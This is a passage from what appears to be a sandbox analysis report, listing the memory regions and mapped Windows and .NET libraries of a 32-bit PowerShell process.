0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 652 start_va = 0x67950000 end_va = 0x67999fff monitored = 1 entry_point = 0x67952e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 653 start_va = 0x5c0000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 654 start_va = 0xb0000 end_va = 0xcdfff monitored = 0 entry_point = 0xc158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 655 start_va = 0x5c0000 end_va = 0x747fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 656 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 657 start_va = 0xb0000 end_va = 0xcdfff monitored = 0 entry_point = 0xc158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 658 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 659 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 660 start_va = 0x7a0000 end_va = 0x920fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 661 start_va = 0xcb0000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cb0000" filename = "" Region: id = 662 start_va = 0x30000 end_va = 0x32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 664 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 665 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 666 start_va = 0x930000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 667 start_va = 0x1b0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 669 start_va = 0x20b0000 end_va = 0x237efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 670 start_va = 0x678c0000 end_va = 0x6794cfff monitored = 1 entry_point = 0x678d2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 671 start_va = 0x73430000 end_va = 0x73432fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 688 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 689 start_va = 0x73e30000 end_va = 0x73e38fff monitored = 0 entry_point = 0x73e31220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 730 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 731 start_va = 0x65760000 end_va = 0x65f0efff monitored = 1 entry_point = 0x6577d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 732 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 734 start_va = 0x65ee0000 end_va = 0x65ef3fff monitored = 0 entry_point = 0x65eeac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 736 start_va = 0x65d50000 end_va = 0x65dfafff monitored = 0 entry_point = 0x65de5f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 750 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 751 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 752 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 753 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 754 start_va = 0x1f0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 755 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 757 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 758 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 759 start_va = 0x230000 end_va = 0x230fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 760 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 761 start_va = 0x340000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 762 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 763 start_va = 0x340000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 764 start_va = 0x470000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 765 start_va = 0x3b0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 766 start_va = 0x400000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 767 start_va = 0xa70000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 768 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 769 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 772 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 773 start_va = 0x2380000 end_va = 0x437ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 774 start_va = 0x250000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 776 start_va = 0x950000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 777 start_va = 0x9d0000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 778 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 779 start_va = 0xab0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 780 start_va = 0xb40000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 781 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 838 start_va = 0x647c0000 end_va = 0x65bcafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 841 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 842 start_va = 0x4380000 end_va = 0x452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 843 start_va = 0x280000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1473 start_va = 0x63d60000 end_va = 0x647b4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 1485 start_va = 0x63540000 end_va = 0x63d57fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 1490 start_va = 0x634b0000 end_va = 0x6353efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pb378ec07#\\731848746c032af3ce33577b793c9b9c\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pb378ec07#\\731848746c032af3ce33577b793c9b9c\\microsoft.powershell.consolehost.ni.dll") Region: id = 1498 start_va = 0x73bc0000 end_va = 0x73bd6fff monitored = 0 entry_point = 0x73bc3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1499 start_va = 0x340000 end_va = 0x37bfff monitored = 0 entry_point = 0x34128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1500 start_va = 0x340000 end_va = 0x37bfff monitored = 0 entry_point = 0x34128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1501 start_va = 0x340000 end_va = 0x37bfff monitored = 0 entry_point = 0x34128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1502 start_va = 0x340000 end_va = 0x37bfff monitored = 0 entry_point = 0x34128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1503 start_va = 0x340000 end_va = 0x37bfff monitored = 0 entry_point = 0x34128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1504 start_va = 0x73b80000 end_va = 0x73bbafff monitored = 0 entry_point = 0x73b8128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1533 start_va = 0x619c0000 end_va = 0x634a2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\system.management.automation.ni.dll") Region: id = 1536 start_va = 0x340000 end_va = 0x3a1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 1545 start_va = 0xa20000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 1546 start_va = 0xb80000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 1547 start_va = 0xbc0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 1548 start_va = 0x43b0000 end_va = 0x43effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043b0000" filename = "" Region: id = 1549 start_va = 0x44f0000 end_va = 0x452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044f0000" filename = "" Region: id = 1550 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1551 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1558 start_va = 0x65c60000 end_va = 0x65c72fff monitored = 1 entry_point = 0x65c6d900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 1563 start_va = 0x4530000 end_va = 0x4801fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 1565 start_va = 0x609a0000 end_va = 0x610abfff monitored = 1 entry_point = 0x60fbf392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1570 start_va = 0x609a0000 end_va = 0x610abfff monitored = 1 entry_point = 0x60fbf392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1571 start_va = 0x43f0000 end_va = 0x44affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1578 start_va = 0x609a0000 end_va = 0x610abfff monitored = 1 entry_point = 0x60fbf392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1581 start_va = 0x755b0000 end_va = 0x761f9fff monitored = 0 entry_point = 0x75631601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1582 start_va = 0x290000 end_va = 0x290fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 1588 start_va = 0x4830000 end_va = 0x486ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004830000" filename = "" Region: id = 1589 start_va = 0x4870000 end_va = 0x48affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004870000" filename = "" Region: id = 1590 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1600 start_va = 0x763a0000 end_va = 0x763cefff monitored = 0 entry_point = 0x763a2a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 1601 start_va = 0x768b0000 end_va = 0x769d0fff monitored = 0 entry_point = 0x768b158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1602 start_va = 0x766c0000 end_va = 0x766cbfff monitored = 0 entry_point = 0x766c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1605 start_va = 0x76ca0000 end_va = 0x76ca4fff monitored = 0 entry_point = 0x76ca1438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1612 start_va = 0x4950000 end_va = 0x498ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004950000" filename = "" Region: id = 1613 start_va = 0x4a80000 end_va = 0x4abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 1614 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 1627 start_va = 0x2a0000 end_va = 0x2a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1628 start_va = 0xbe0000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 1629 start_va = 0x4ae0000 end_va = 0x4b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ae0000" filename = "" Region: id = 1630 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1631 start_va = 0x65c50000 end_va = 0x65c57fff monitored = 0 entry_point = 0x65c53bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 1632 start_va = 0x4b20000 end_va = 0x4f1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b20000" filename = "" Region: id = 1633 start_va = 0x2b0000 end_va = 0x2b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1634 start_va = 0x4b20000 end_va = 0x4f1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b20000" filename = "" Region: id = 1635 start_va = 0x44b0000 end_va = 0x44effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044b0000" filename = "" Region: id = 1636 start_va = 0x4a30000 end_va = 0x4a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a30000" filename = "" Region: id = 1637 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1652 start_va = 0x65c30000 end_va = 0x65c45fff monitored = 0 entry_point = 0x65c313df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 1654 start_va = 0x61020000 end_va = 0x610a3fff monitored = 0 entry_point = 0x610219a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 1655 start_va = 0x4b20000 end_va = 0x4ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b20000" filename = "" Region: id = 1656 start_va = 0x65bd0000 end_va = 0x65bd9fff monitored = 0 entry_point = 0x65bd4ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 1666 start_va = 0x4b20000 end_va = 0x4c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b20000" filename = "" Region: id = 1667 start_va = 0x4cc0000 end_va = 0x4ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cc0000" filename = "" Region: id = 1671 start_va = 0x4c80000 end_va = 0x4cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c80000" filename = "" Region: id = 1672 start_va = 0x4d00000 end_va = 0x4d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 1673 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1677 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1682 start_va = 0x60ef0000 end_va = 0x6101ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\e114780fd3ea5727401c06ea4f22ef35\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\e114780fd3ea5727401c06ea4f22ef35\\system.management.ni.dll") Region: id = 1685 start_va = 0x60dc0000 end_va = 0x60eebfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\system.directoryservices.ni.dll") Region: id = 1688 start_va = 0x60630000 end_va = 0x60da3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 1690 start_va = 0x48f0000 end_va = 0x492ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 1691 start_va = 0x4d00000 end_va = 0x4d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 1692 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1693 start_va = 0x60520000 end_va = 0x60624fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 1695 start_va = 0x43a0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 1696 start_va = 0x4d70000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d70000" filename = "" Region: id = 1697 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 1702 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1703 start_va = 0x3f0000 end_va = 0x3f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1704 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1705 start_va = 0x3f0000 end_va = 0x3f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1718 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1719 start_va = 0x2b0000 end_va = 0x2b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1720 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1721 start_va = 0x2b0000 end_va = 0x2b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: 